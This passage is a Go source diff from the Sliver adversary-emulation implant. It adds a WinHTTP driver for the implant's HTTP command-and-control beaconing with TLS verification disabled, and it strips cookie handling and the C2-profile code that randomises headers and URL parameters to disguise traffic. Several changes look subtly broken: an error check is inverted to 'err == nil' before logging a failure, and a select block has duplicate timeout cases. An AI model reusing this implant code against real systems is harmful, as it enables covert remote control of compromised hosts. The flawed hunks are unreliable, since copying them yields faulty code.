pwszName = uintptr(unsafe.Pointer(tmp))
} else {
pwszName = WinhttpHeaderNameByIndex
}
success, _, e = winhttp.NewProc(proc).Call(
reqHndl,
info,
pwszName,
uintptr(unsafe.Pointer(&b[0])),
uintptr(unsafe.Pointer(bufferLen)),
uintptr(unsafe.Pointer(index)),
)
if success == 0 {
return fmt.Errorf("%s: %w", proc, e)
}
*buffer = []byte(windows.UTF16ToString(b))
return nil
}
// ReadData is WinHttpReadData from winhttp.h
func ReadData(
reqHndl uintptr,
buffer *[]byte,
bytesToRead int64,
bytesRead *int64,
) error {
var b []byte
var e error
var proc string = "WinHttpReadData"
var success uintptr
if bytesToRead > 0 {
b = make([]byte, bytesToRead)
} else {
b = make([]byte, 1)
}
success, _, e = winhttp.NewProc(proc).Call(
reqHndl,
uintptr(unsafe.Pointer(&b[0])),
uintptr(bytesToRead),
uintptr(unsafe.Pointer(bytesRead)),
)
if success == 0 {
return fmt.Errorf("%s: %w", proc, e)
}
*buffer = b
return nil
}
// ReceiveResponse is WinHttpReceiveResponse from winhttp.h
func ReceiveResponse(reqHndl uintptr) error {
var e error
var proc string = "WinHttpReceiveResponse"
var success uintptr
success, _, e = winhttp.NewProc(proc).Call(reqHndl, 0)
if success == 0 {
return fmt.Errorf("%s: %w", proc, e)
}
return nil
}
// SendRequest is WinHttpSendRequest from winhttp.h
func SendRequest(
reqHndl uintptr,
headers string,
headersLen int,
data []byte,
dataLen int,
) error {
var body uintptr
var e error
var proc string = "WinHttpSendRequest"
var pwszHeaders uintptr
var success uintptr
var tmp *uint16
// Pointer to data if provided
if (data != nil) && (len(data) > 0) {
body = uintptr(unsafe.Pointer(&data[0]))
}
// Convert to Windows types
if headers != "" {
if tmp, e = windows.UTF16PtrFromString(headers); e != nil {
return convertFail(headers, e)
}
pwszHeaders = uintptr(unsafe.Pointer(tmp))
}
success, _, e = winhttp.NewProc(proc).Call(
reqHndl,
pwszHeaders,
uintptr(headersLen),
body,
uintptr(dataLen),
uintptr(dataLen),
)
if success == 0 {
return fmt.Errorf("%s: %w", proc, e)
}
return nil
}
// SetOption is WinHttpSetOption from winhttp.h
func SetOption(hndl, opt uintptr, val []byte, valLen int) error {
var e error
var proc string = "WinHttpSetOption"
var success uintptr
// Pointer to data if provided
if valLen == 0 {
val = make([]byte, 1)
}
success, _, e = winhttp.NewProc(proc).Call(
hndl,
opt,
uintptr(unsafe.Pointer(&val[0])),
uintptr(valLen),
)
if success == 0 {
return fmt.Errorf("%s: %w", proc, e)
}
return nil
}
@@ -5,8 +5,6 @@ import (
"fmt"
"io/ioutil"
"net/http"
"net/url"
"sync"
"time"
)
@@ -18,15 +16,12 @@ type Client struct {
TLSClientConfig struct {
InsecureSkipVerify bool
}
CookieJar *Jar
}
// NewClient will return a pointer to a new Client instance that
// simply wraps the net/http.Client type.
func NewClient(userAgent string) (*Client, error) {
var client = &Client{
CookieJar: cookieJar(),
}
var client = &Client{}
var err error
// Create session
@@ -135,10 +130,6 @@ func (c *Client) Do(request *http.Request) (*http.Response, error) {
}
}
for _, cookie := range c.CookieJar.Cookies(request.URL) {
req.AddCookie(cookie)
}
if err = sendRequest(reqHandle, req); err != nil {
return nil, err
}
@@ -147,8 +138,6 @@ func (c *Client) Do(request *http.Request) (*http.Response, error) {
return nil, err
}
c.CookieJar.cookies = resp.Cookies()
return &http.Response{
Status: resp.Status,
StatusCode: resp.StatusCode,
@@ -161,38 +150,3 @@ func (c *Client) Do(request *http.Request) (*http.Response, error) {
Header: make(http.Header),
}, nil
}
// Jar - CookieJar implementation that ignores domains/origins
type Jar struct {
lk sync.Mutex
cookies []*Cookie
}
func cookieJar() *Jar {
return &Jar{
lk: sync.Mutex{},
cookies: []*Cookie{},
}
}
// NewJar - Get a new instance of a cookie jar
func NewJar() *Jar {
jar := new(Jar)
jar.cookies = make([]*Cookie, 0)
return jar
}
// SetCookies handles the receipt of the cookies in a reply for the
// given URL (which is ignored).
func (jar *Jar) SetCookies(u *url.URL, cookies []*Cookie) {
jar.lk.Lock()
jar.cookies = append(jar.cookies, cookies...)
jar.lk.Unlock()
}
// Cookies returns the cookies to send in a request for the given URL.
// It is up to the implementation to honor the standard cookie use
// restrictions such as in RFC 6265 (which we do not).
func (jar *Jar) Cookies(u *url.URL) []*Cookie {
return jar.cookies
}
@@ -1,8 +1,6 @@
package wininet
import (
"io"
)
import "io"
// Response is a struct containing common HTTP response data.
type Response struct {
@@ -10,17 +10,17 @@ import (
"strings"
)
func convertFail(str string, err error) error {
func convertFail(str string, e error) error {
return fmt.Errorf(
"failed to convert %s to Windows type: %w",
str,
err,
e,
)
}
func buildRequest(sessionHndl uintptr, r *Request) (uintptr, error) {
var connHndl uintptr
var err error
var e error
var flags uintptr
var passwd string
var port int64
@@ -29,16 +29,16 @@ func buildRequest(sessionHndl uintptr, r *Request) (uintptr, error) {
var uri *url.URL
// Parse URL
if uri, err = url.Parse(r.URL); err != nil {
return 0, fmt.Errorf("failed to parse url %s: %w", r.URL, err)
if uri, e = url.Parse(r.URL); e != nil {
return 0, fmt.Errorf("failed to parse url %s: %w", r.URL, e)
}
passwd, _ = uri.User.Password()
if uri.Port() != "" {
if port, err = strconv.ParseInt(uri.Port(), 10, 64); err != nil {
err = fmt.Errorf("port %s invalid: %w", uri.Port(), err)
return 0, err
if port, e = strconv.ParseInt(uri.Port(), 10, 64); e != nil {
e = fmt.Errorf("port %s invalid: %w", uri.Port(), e)
return 0, e
}
}
@@ -48,7 +48,7 @@ func buildRequest(sessionHndl uintptr, r *Request) (uintptr, error) {
}
// Create connection
connHndl, err = InternetConnectW(
connHndl, e = InternetConnectW(
sessionHndl,
uri.Hostname(),
int(port),
@@ -58,8 +58,8 @@ func buildRequest(sessionHndl uintptr, r *Request) (uintptr, error) {
flags,
0,
)
if err != nil {
return 0, fmt.Errorf("failed to create connection: %w", err)
if e != nil {
return 0, fmt.Errorf("failed to create connection: %w", e)
}
// Send query string too
@@ -69,10 +69,9 @@ func buildRequest(sessionHndl uintptr, r *Request) (uintptr, error) {
// Allow NTLM auth
flags |= InternetFlagKeepConnection
flags |= InternetFlagNoCookies //we're responsible for cookie management
// Create HTTP request
reqHndl, err = HTTPOpenRequestW(
reqHndl, e = HTTPOpenRequestW(
connHndl,
r.Method,
uri.Path+query,
@@ -82,8 +81,8 @@ func buildRequest(sessionHndl uintptr, r *Request) (uintptr, error) {
flags,
0,
)
if err != nil {
return 0, fmt.Errorf("failed to open request: %w", err)
if e != nil {
return 0, fmt.Errorf("failed to open request: %w", e)
}
return reqHndl, nil
@@ -96,7 +95,7 @@ func buildResponse(reqHndl uintptr, req *Request) (*Response, error) {
var body io.ReadCloser
var code int64
var contentLen int64
var err error
var e error
var hdrs map[string][]string
var major int
var minor int
@@ -105,20 +104,20 @@ func buildResponse(reqHndl uintptr, req *Request) (*Response, error) {
var status string
// Get status code
b, err = queryResponse(reqHndl, HTTPQueryStatusCode, 0)
if err != nil {
return nil, err
b, e = queryResponse(reqHndl, HTTPQueryStatusCode, 0)
if e != nil {
return nil, e
}
status = string(b)
if code, err = strconv.ParseInt(status, 10, 64); err != nil {
return nil, fmt.Errorf("status %s invalid: %w", status, err)
if code, e = strconv.ParseInt(status, 10, 64); e != nil {
return nil, fmt.Errorf("status %s invalid: %w", status, e)
}
// Get status text
b, err = queryResponse(reqHndl, HTTPQueryStatusText, 0)
if err != nil {
return nil, err
b, e = queryResponse(reqHndl, HTTPQueryStatusText, 0)
if e != nil {
return nil, e
} else if len(b) > 0 {
status += " " + string(b)
}
@@ -127,13 +126,13 @@ func buildResponse(reqHndl uintptr, req *Request) (*Response, error) {
cookies = getCookies(reqHndl)
// Parse headers and proto
if proto, major, minor, hdrs, err = getHeaders(reqHndl); err != nil {
return nil, err
if proto, major, minor, hdrs, e = getHeaders(reqHndl); e != nil {
return nil, e
}
// Read response body
if body, contentLen, err = readResponse(reqHndl); err != nil {
return nil, err
if body, contentLen, e = readResponse(reqHndl); e != nil {
return nil, e
}
res = &Response{
@@ -162,17 +161,17 @@ func buildResponse(reqHndl uintptr, req *Request) (*Response, error) {
func getCookies(reqHndl uintptr) []*Cookie {
var b []byte
var cookies []*Cookie
var err error
var e error
var tmp []string
// Get cookies
for i := 0; ; i++ {
b, err = queryResponse(
b, e = queryResponse(
reqHndl,
HTTPQuerySetCookie,
i,
)
if err != nil {
if e != nil {
break
}
@@ -190,7 +189,7 @@ func getHeaders(
reqHndl uintptr,
) (string, int, int, map[string][]string, error) {
var b []byte
var err error
var e error
var hdrs = map[string][]string{}
var major int64
var minor int64
@@ -198,9 +197,9 @@ func getHeaders(
var tmp []string
// Get headers
b, err = queryResponse(reqHndl, HTTPQueryRawHeadersCRLF, 0)
if err != nil {
return "", 0, 0, nil, err
b, e = queryResponse(reqHndl, HTTPQueryRawHeadersCRLF, 0)
if e != nil {
return "", 0, 0, nil, e
}
for _, hdr := range strings.Split(string(b), "\r\n") {
@@ -219,16 +218,16 @@ func getHeaders(
if len(tmp) >= 2 {
tmp[0] = strings.Replace(tmp[0], "HTTP/", "", 1)
major, err = strconv.ParseInt(tmp[0], 10, 64)
if err != nil {
err = fmt.Errorf("invalid HTTP version: %w", err)
return "", 0, 0, nil, err
major, e = strconv.ParseInt(tmp[0], 10, 64)
if e != nil {
e = fmt.Errorf("invalid HTTP version: %w", e)
return "", 0, 0, nil, e
}
minor, err = strconv.ParseInt(tmp[1], 10, 64)
if err != nil {
err = fmt.Errorf("invalid HTTP version: %w", err)
return "", 0, 0, nil, err
minor, e = strconv.ParseInt(tmp[1], 10, 64)
if e != nil {
e = fmt.Errorf("invalid HTTP version: %w", e)
return "", 0, 0, nil, e
}
}
}
@@ -239,27 +238,27 @@ func getHeaders(
func queryResponse(reqHndl, info uintptr, idx int) ([]byte, error) {
var buffer []byte
var err error
var e error
var size int
if idx < 0 {
idx = 0
}
err = HTTPQueryInfoW(reqHndl, info, &buffer, &size, &idx)
if err != nil {
e = HTTPQueryInfoW(reqHndl, info, &buffer, &size, &idx)
if e != nil {
buffer = make([]byte, size)
err = HTTPQueryInfoW(
e = HTTPQueryInfoW(
reqHndl,
info,
&buffer,
&size,
&idx,
)
if err != nil {
err = fmt.Errorf("failed to query info: %w", err)
return []byte{}, err
if e != nil {
e = fmt.Errorf("failed to query info: %w", e)
return []byte{}, e
}
}
@@ -271,15 +270,15 @@ func readResponse(reqHndl uintptr) (io.ReadCloser, int64, error) {
var chunk []byte
var chunkLen int64
var contentLen int64
var err error
var e error
var n int64
// Get Content-Length and body of response
for {
// Get next chunk size
err = InternetQueryDataAvailable(reqHndl, &chunkLen)
if err != nil {
err = fmt.Errorf("failed to query data available: %w", err)
e = InternetQueryDataAvailable(reqHndl, &chunkLen)
if e != nil {
e = fmt.Errorf("failed to query data available: %w", e)
break
}
@@ -289,9 +288,9 @@ func readResponse(reqHndl uintptr) (io.ReadCloser, int64, error) {
}
// Read next chunk
err = InternetReadFile(reqHndl, &chunk, chunkLen, &n)
if err != nil {
err = fmt.Errorf("failed to read data: %w", err)
e = InternetReadFile(reqHndl, &chunk, chunkLen, &n)
if e != nil {
e = fmt.Errorf("failed to read data: %w", e)
break
}
@@ -300,37 +299,38 @@ func readResponse(reqHndl uintptr) (io.ReadCloser, int64, error) {
b = append(b, chunk...)
}
if err != nil {
return nil, 0, err
if e != nil {
return nil, 0, e
}
return ioutil.NopCloser(bytes.NewReader(b)), contentLen, nil
}
func sendRequest(reqHndl uintptr, r *Request) error {
var err error
var e error
var method uintptr
// Process cookies
method = HTTPAddreqFlagAdd
method |= HTTPAddreqFlagCoalesceWithSemicolon
// FIXME why doesn't this work here?!
// method |= HTTPAddreqFlagCoalesceWithSemicolon
// // FIXME This is a dumb hack
// HTTPAddRequestHeadersW(
// reqHndl,
// "Cookie: ignore=ignore",
// HTTPAddreqFlagAddIfNew,
// )
// FIXME This is a dumb hack
HTTPAddRequestHeadersW(
reqHndl,
"Cookie: ignore=ignore",
HTTPAddreqFlagAddIfNew,
)
// End dumb hack
for _, c := range r.Cookies() {
err = HTTPAddRequestHeadersW(
e = HTTPAddRequestHeadersW(
reqHndl,
"Cookie: "+c.Name+"="+c.Value,
method,
)
if err != nil {
return fmt.Errorf("failed to add cookies: %w", err)
if e != nil {
return fmt.Errorf("failed to add cookies: %w", e)
}
}
@@ -339,26 +339,26 @@ func sendRequest(reqHndl uintptr, r *Request) error {
method |= HTTPAddreqFlagReplace
for k, v := range r.Headers {
err = HTTPAddRequestHeadersW(
e = HTTPAddRequestHeadersW(
reqHndl,
k+": "+v,
method,
)
if err != nil {
return fmt.Errorf("failed to add request headers: %w", err)
if e != nil {
return fmt.Errorf("failed to add request headers: %w", e)
}
}
// Send HTTP request
err = HTTPSendRequestW(
e = HTTPSendRequestW(
reqHndl,
"",
0,
r.Body,
len(r.Body),
)
if err != nil {
return fmt.Errorf("failed to send request: %w", err)
if e != nil {
return fmt.Errorf("failed to send request: %w", e)
}
return nil
@@ -16,7 +16,7 @@ func HTTPAddRequestHeadersW(
header string,
addMethod uintptr,
) error {
var err error
var e error
var ok uintptr
var proc string = "HttpAddRequestHeadersW"
var pswzHeader uintptr
@@ -26,23 +26,24 @@ func HTTPAddRequestHeadersW(
// Weird, just do nothing
return nil
}
header = strings.TrimSpace(header) + "\r\n"
// Convert to Windows types
if tmp, err = windows.UTF16PtrFromString(header); err != nil {
return convertFail(header, err)
if tmp, e = windows.UTF16PtrFromString(header); e != nil {
return convertFail(header, e)
}
pswzHeader = uintptr(unsafe.Pointer(tmp))
ok, _, err = wininet.NewProc(proc).Call(
ok, _, e = wininet.NewProc(proc).Call(
reqHndl,
pswzHeader,
uintptr(len(header)),
addMethod,
)
if ok == 0 {
return fmt.Errorf("%s: %w", proc, err)
return fmt.Errorf("%s: %w", proc, e)
}
return nil
@@ -59,7 +60,7 @@ func HTTPOpenRequestW(
flags uintptr,
context uintptr,
) (uintptr, error) {
var err error
var e error
var lpcwstrObjectName uintptr
var lpcwstrReferrer uintptr
var lpcwstrVerb uintptr
@@ -76,47 +77,47 @@ func HTTPOpenRequestW(
continue
}
tmp, err = windows.UTF16PtrFromString(theType)
if err != nil {
return 0, convertFail(theType, err)
tmp, e = windows.UTF16PtrFromString(theType)
if e != nil {
return 0, convertFail(theType, e)
}
lplpcwstrAcceptTypes = append(lplpcwstrAcceptTypes, tmp)
}
if objectName != "" {
if tmp, err = windows.UTF16PtrFromString(objectName); err != nil {
return 0, convertFail(objectName, err)
if tmp, e = windows.UTF16PtrFromString(objectName); e != nil {
return 0, convertFail(objectName, e)
}
lpcwstrObjectName = uintptr(unsafe.Pointer(tmp))
}
if referrer != "" {
if tmp, err = windows.UTF16PtrFromString(referrer); err != nil {
return 0, convertFail(referrer, err)
if tmp, e = windows.UTF16PtrFromString(referrer); e != nil {
return 0, convertFail(referrer, e)
}
lpcwstrReferrer = uintptr(unsafe.Pointer(tmp))
}
if verb != "" {
if tmp, err = windows.UTF16PtrFromString(verb); err != nil {
return 0, convertFail(verb, err)
if tmp, e = windows.UTF16PtrFromString(verb); e != nil {
return 0, convertFail(verb, e)
}
lpcwstrVerb = uintptr(unsafe.Pointer(tmp))
}
if version != "" {
if tmp, err = windows.UTF16PtrFromString(version); err != nil {
return 0, convertFail(version, err)
if tmp, e = windows.UTF16PtrFromString(version); e != nil {
return 0, convertFail(version, e)
}
lpcwstrVersion = uintptr(unsafe.Pointer(tmp))
}
reqHndl, _, err = wininet.NewProc(proc).Call(
reqHndl, _, e = wininet.NewProc(proc).Call(
connHndl,
lpcwstrVerb,
lpcwstrObjectName,
@@ -127,7 +128,7 @@ func HTTPOpenRequestW(
context,
)
if reqHndl == 0 {
return 0, fmt.Errorf("%s: %w", proc, err)
return 0, fmt.Errorf("%s: %w", proc, e)
}
return reqHndl, nil
@@ -142,7 +143,7 @@ func HTTPQueryInfoW(
index *int,
) error {
var b []uint16
var err error
var e error
var proc string = "HttpQueryInfoW"
var success uintptr
var tmp string
@@ -153,7 +154,7 @@ func HTTPQueryInfoW(
b = make([]uint16, 1)
}
success, _, err = wininet.NewProc(proc).Call(
success, _, e = wininet.NewProc(proc).Call(
reqHndl,
info,
uintptr(unsafe.Pointer(&b[0])),
@@ -161,7 +162,7 @@ func HTTPQueryInfoW(
uintptr(unsafe.Pointer(index)),
)
if success == 0 {
return fmt.Errorf("%s: %w", proc, err)
return fmt.Errorf("%s: %w", proc, e)
}
tmp = windows.UTF16ToString(b)
@@ -179,7 +180,7 @@ func HTTPSendRequestW(
dataLen int,
) error {
var body uintptr
var err error
var e error
var lpcwstrHeaders uintptr
var proc string = "HttpSendRequestW"
var success uintptr
@@ -192,14 +193,14 @@ func HTTPSendRequestW(
// Convert to Windows types
if headersLen > 0 {
if tmp, err = windows.UTF16PtrFromString(headers); err != nil {
return convertFail(headers, err)
if tmp, e = windows.UTF16PtrFromString(headers); e != nil {
return convertFail(headers, e)
}
lpcwstrHeaders = uintptr(unsafe.Pointer(tmp))
}
success, _, err = wininet.NewProc(proc).Call(
success, _, e = wininet.NewProc(proc).Call(
reqHndl,
lpcwstrHeaders,
uintptr(headersLen),
@@ -207,7 +208,7 @@ func HTTPSendRequestW(
uintptr(dataLen),
)
if success == 0 {
return fmt.Errorf("%s: %w", proc, err)
return fmt.Errorf("%s: %w", proc, e)
}
return nil
@@ -225,7 +226,7 @@ func InternetConnectW(
context uintptr,
) (uintptr, error) {
var connHndl uintptr
var err error
var e error
var lpcwstrServerName uintptr
var lpcwstrUserName uintptr
var lpcwstrPassword uintptr
@@ -234,30 +235,30 @@ func InternetConnectW(
// Convert to Windows types
if password != "" {
if tmp, err = windows.UTF16PtrFromString(password); err != nil {
return 0, convertFail(password, err)
if tmp, e = windows.UTF16PtrFromString(password); e != nil {
return 0, convertFail(password, e)
}
lpcwstrPassword = uintptr(unsafe.Pointer(tmp))
}
if serverName != "" {
if tmp, err = windows.UTF16PtrFromString(serverName); err != nil {
return 0, convertFail(serverName, err)
if tmp, e = windows.UTF16PtrFromString(serverName); e != nil {
return 0, convertFail(serverName, e)
}
lpcwstrServerName = uintptr(unsafe.Pointer(tmp))
}
if username != "" {
if tmp, err = windows.UTF16PtrFromString(username); err != nil {
return 0, convertFail(username, err)
if tmp, e = windows.UTF16PtrFromString(username); e != nil {
return 0, convertFail(username, e)
}
lpcwstrUserName = uintptr(unsafe.Pointer(tmp))
}
connHndl, _, err = wininet.NewProc(proc).Call(
connHndl, _, e = wininet.NewProc(proc).Call(
sessionHndl,
lpcwstrServerName,
uintptr(serverPort),
@@ -268,7 +269,7 @@ func InternetConnectW(
context,
)
if connHndl == 0 {
return 0, fmt.Errorf("%s: %w", proc, err)
return 0, fmt.Errorf("%s: %w", proc, e)
}
return connHndl, nil
@@ -282,7 +283,7 @@ func InternetOpenW(
proxyBypass string,
flags uintptr,
) (uintptr, error) {
var err error
var e error
var lpszAgent uintptr
var lpszProxy uintptr
var lpszProxyBypass uintptr
@@ -292,31 +293,31 @@ func InternetOpenW(
// Convert to Windows types
if userAgent != "" {
if tmp, err = windows.UTF16PtrFromString(userAgent); err != nil {
return 0, convertFail(userAgent, err)
if tmp, e = windows.UTF16PtrFromString(userAgent); e != nil {
return 0, convertFail(userAgent, e)
}
lpszAgent = uintptr(unsafe.Pointer(tmp))
}
if proxy != "" {
if tmp, err = windows.UTF16PtrFromString(proxy); err != nil {
return 0, convertFail(proxy, err)
if tmp, e = windows.UTF16PtrFromString(proxy); e != nil {
return 0, convertFail(proxy, e)
}
lpszProxy = uintptr(unsafe.Pointer(tmp))
}
if proxyBypass != "" {
tmp, err = windows.UTF16PtrFromString(proxyBypass)
if err != nil {
return 0, convertFail(proxyBypass, err)
tmp, e = windows.UTF16PtrFromString(proxyBypass)
if e != nil {
return 0, convertFail(proxyBypass, e)
}
lpszProxyBypass = uintptr(unsafe.Pointer(tmp))
}
sessionHndl, _, err = wininet.NewProc(proc).Call(
sessionHndl, _, e = wininet.NewProc(proc).Call(
lpszAgent,
accessType,
lpszProxy,
@@ -324,7 +325,7 @@ func InternetOpenW(
flags,
)
if sessionHndl == 0 {
return 0, fmt.Errorf("%s: %w", proc, err)
return 0, fmt.Errorf("%s: %w", proc, e)
}
return sessionHndl, nil
@@ -335,18 +336,18 @@ func InternetQueryDataAvailable(
reqHndl uintptr,
bytesAvailable *int64,
) error {
var err error
var e error
var proc string = "InternetQueryDataAvailable"
var success uintptr
success, _, err = wininet.NewProc(proc).Call(
success, _, e = wininet.NewProc(proc).Call(
reqHndl,
uintptr(unsafe.Pointer(bytesAvailable)),
0,
0,
)
if success == 0 {
return fmt.Errorf("%s: %w", proc, err)
return fmt.Errorf("%s: %w", proc, e)
}
return nil
@@ -360,7 +361,7 @@ func InternetReadFile(
bytesRead *int64,
) error {
var b []byte
var err error
var e error
var proc string = "InternetReadFile"
var success uintptr
@@ -370,14 +371,14 @@ func InternetReadFile(
b = make([]byte, 1)
}
success, _, err = wininet.NewProc(proc).Call(
success, _, e = wininet.NewProc(proc).Call(
reqHndl,
uintptr(unsafe.Pointer(&b[0])),
uintptr(bytesToRead),
uintptr(unsafe.Pointer(bytesRead)),
)
if success == 0 {
return fmt.Errorf("%s: %w", proc, err)
return fmt.Errorf("%s: %w", proc, e)
}
*buffer = b
@@ -392,7 +393,7 @@ func InternetSetOptionW(
val []byte,
valLen int,
) error {
var err error
var e error
var proc string = "InternetSetOptionW"
var success uintptr
@@ -401,14 +402,14 @@ func InternetSetOptionW(
val = make([]byte, 1)
}
success, _, err = wininet.NewProc(proc).Call(
success, _, e = wininet.NewProc(proc).Call(
hndl,
opt,
uintptr(unsafe.Pointer(&val[0])),
uintptr(valLen),
)
if success == 0 {
return fmt.Errorf("%s: %w", proc, err)
return fmt.Errorf("%s: %w", proc, e)
}
return nil
@@ -24,6 +24,7 @@ import (
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/transports/httpclient/drivers/win/winhttp"
"github.com/bishopfox/sliver/implant/sliver/transports/httpclient/drivers/win/wininet"
)
@@ -37,6 +38,12 @@ func GetHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, e
// {{end}}
return GoHTTPDriver(origin, secure, opts)
case winHTTPDriver:
// {{if .Config.Debug}}
log.Printf("Using winhttp driver")
// {{end}}
return WinHTTPDriver(origin, secure, opts)
case wininetDriver:
// {{if .Config.Debug}}
log.Printf("Using wininet driver")
@@ -51,7 +58,17 @@ func GetHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, e
}
}
// WininetDriver - Initialize a Wininet driver (Windows only)
// WinHTTPDriver - Initialize a WinHTTP driver (Windows only)
func WinHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
winhttpClient, err := winhttp.NewClient(userAgent)
if err != nil {
return nil, err
}
winhttpClient.TLSClientConfig.InsecureSkipVerify = true
return winhttpClient, nil
}
// WininetDriver - Initialize a WinHTTP driver (Windows only)
func WininetDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
wininetClient, err := wininet.NewClient(userAgent)
if err != nil {
@@ -48,6 +48,7 @@ import (
const (
goHTTPDriver = "go"
winHTTPDriver = "winhttp"
wininetDriver = "wininet"
userAgent = "{{GenerateUserAgent}}"
@@ -62,14 +63,12 @@ var (
// HTTPOptions - c2 specific configuration options
type HTTPOptions struct {
Driver string
NetTimeout time.Duration
TlsTimeout time.Duration
PollTimeout time.Duration
MaxErrors int
ForceHTTP bool
DisableAcceptHeader bool
DisableUpgradeHeader bool
Driver string
NetTimeout time.Duration
TlsTimeout time.Duration
PollTimeout time.Duration
MaxErrors int
ForceHTTP bool
ProxyConfig string
ProxyUsername string
@@ -100,14 +99,12 @@ func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
}
return &HTTPOptions{
Driver: driverName,
NetTimeout: netTimeout,
TlsTimeout: tlsTimeout,
PollTimeout: pollTimeout,
MaxErrors: maxErrors,
ForceHTTP: c2URI.Query().Get("force-http") == "true",
DisableAcceptHeader: c2URI.Query().Get("disable-accept-header") == "true",
DisableUpgradeHeader: c2URI.Query().Get("disable-upgrade-header") == "true",
Driver: driverName,
NetTimeout: netTimeout,
TlsTimeout: tlsTimeout,
PollTimeout: pollTimeout,
MaxErrors: maxErrors,
ForceHTTP: c2URI.Query().Get("force-http") == "true",
ProxyConfig: c2URI.Query().Get("proxy"),
ProxyUsername: c2URI.Query().Get("proxy-username"),
@@ -120,8 +117,8 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
var client *SliverHTTPClient
var err error
if !opts.ForceHTTP {
client = httpsClient(address, opts)
client.Options = opts
client = httpsClient(address, opts.NetTimeout, opts.TlsTimeout, opts.ProxyConfig)
client.pollTimeout = opts.PollTimeout
client.PathPrefix = pathPrefix
err = client.SessionInit()
if err == nil {
@@ -133,10 +130,7 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
if strings.HasSuffix(address, ":443") {
address = fmt.Sprintf("%s:80", address[:len(address)-4])
}
client = httpClient(address, opts) // Fallback to insecure HTTP
client.Options = opts
client.PathPrefix = pathPrefix
err = client.SessionInit()
if err != nil {
return nil, err
@@ -162,8 +156,6 @@ type SliverHTTPClient struct {
pollCancel context.CancelFunc
pollMutex *sync.Mutex
Closed bool
Options *HTTPOptions
}
// SessionInit - Initialize the session
@@ -220,54 +212,13 @@ func (s *SliverHTTPClient) OTPQueryArgument(uri *url.URL, value string) *url.URL
func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.Reader) *http.Request {
req, _ := http.NewRequest(method, uri.String(), body)
req.Header.Set("User-Agent", userAgent)
if method == http.MethodGet && !s.Options.DisableAcceptHeader {
if method == http.MethodGet {
req.Header.Set("Accept-Language", "en-US,en;q=0.9")
req.Header.Set("Accept", acceptHeaderValue)
}
if uri.Scheme == "http" && !s.Options.DisableUpgradeHeader {
if uri.Scheme == "http" {
req.Header.Set("Upgrade-Insecure-Requests", "1")
}
type nameValueProbability struct {
Name string
Value string
Probability string
}
// HTTP C2 Profile headers
extraHeaders := []nameValueProbability{
// {{range $header := .HTTPC2ImplantConfig.Headers}}
{Name: "{{$header.Name}}", Value: "{{$header.Value}}", Probability: "{{$header.Probability}}"},
// {{end}}
}
for _, header := range extraHeaders {
probability, _ := strconv.Atoi(header.Probability)
if 0 < probability {
roll := insecureRand.Intn(99) + 1
if probability < roll {
continue
}
}
req.Header.Set(header.Name, header.Value)
}
extraURLParams := []nameValueProbability{
// {{range $param := .HTTPC2ImplantConfig.URLParameters}}
{Name: "{{$param.Name}}", Value: "{{$param.Value}}", Probability: "{{$param.Probability}}"},
// {{end}}
}
queryParams := req.URL.Query()
for _, param := range extraURLParams {
probability, _ := strconv.Atoi(param.Probability)
if 0 < probability {
roll := insecureRand.Intn(99) + 1
if probability < roll {
continue
}
}
queryParams.Set(param.Name, param.Value)
}
req.URL.RawQuery = queryParams.Encode()
return req
}
@@ -297,7 +248,7 @@ func (s *SliverHTTPClient) DoPoll(req *http.Request) (*http.Response, []byte, er
select {
case <-ctx.Done():
done <- ctx.Err()
case <-time.After(s.Options.PollTimeout):
case <-time.After(s.pollTimeout):
// {{if .Config.Debug}}
log.Printf("[http] poll timeout error!")
// {{end}}
@@ -536,7 +487,7 @@ func (s *SliverHTTPClient) pathJoinURL(segments []string) string {
for index, segment := range segments {
segments[index] = url.PathEscape(segment)
}
if s.PathPrefix != "" && s.PathPrefix != "/" {
if s.PathPrefix != "" {
segments = append([]string{s.PathPrefix}, segments...)
}
return strings.Join(segments, "/")
@@ -637,7 +588,6 @@ func httpClient(address string, opts *HTTPOptions) *SliverHTTPClient {
driver: driver,
pollMutex: &sync.Mutex{},
Closed: false,
Options: opts,
}
return client
}
@@ -656,7 +606,6 @@ func httpsClient(address string, opts *HTTPOptions) *SliverHTTPClient {
driver: driver,
pollMutex: &sync.Mutex{},
Closed: false,
Options: opts,
}
return client
}
@@ -24,7 +24,7 @@ import (
"errors"
)
// NamedPipePivotStartSession - Non windows implementation of the named pipe client
// NamedPipeConnect - Non windows implementation of the named pipe client
func NamedPipePivotStartSession(_ string, _ *NamedPipePivotOptions) (*NetConnPivotClient, error) {
return nil, errors.New("unsupported platform")
}
+3 -5
View File
@@ -200,7 +200,7 @@ func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection
// *** WG ***
// {{if .Config.WGc2Enabled}}
connection, err = wgConnect(uri)
if err != nil {
if err == nil {
// {{if .Config.Debug}}
log.Printf("[wg] Connection failed %s", err)
// {{end}}
@@ -753,9 +753,6 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
case <-pingCtrl:
return
case <-time.After(time.Minute):
// {{if .Config.Debug}}
log.Printf("[tcp pivot] peer ping...")
// {{end}}
data, _ := proto.Marshal(&pb.PivotPing{
Nonce: uint32(time.Now().UnixNano()),
})
@@ -763,10 +760,11 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
Type: pb.MsgPivotPeerPing,
Data: data,
}
case <-time.After(time.Minute):
// {{if .Config.Debug}}
log.Printf("[tcp pivot] server ping...")
// {{end}}
data, _ = proto.Marshal(&pb.PivotPing{
data, _ := proto.Marshal(&pb.PivotPing{
Nonce: uint32(time.Now().UnixNano()),
})
connection.Send <- &pb.Envelope{
-43
View File
@@ -112,11 +112,6 @@ func randomCCDomain(ccServers []string, next string) string {
var (
// reconnectInterval - DO NOT ACCESS DIRECTLY
reconnectInterval = time.Duration(0)
// {{if .Config.IsBeacon}}
jitter = time.Duration(0)
interval = time.Duration(0)
// {{end}}
)
// GetReconnectInterval - Parse the reconnect interval inserted at compile-time
@@ -137,44 +132,6 @@ func SetReconnectInterval(interval int64) {
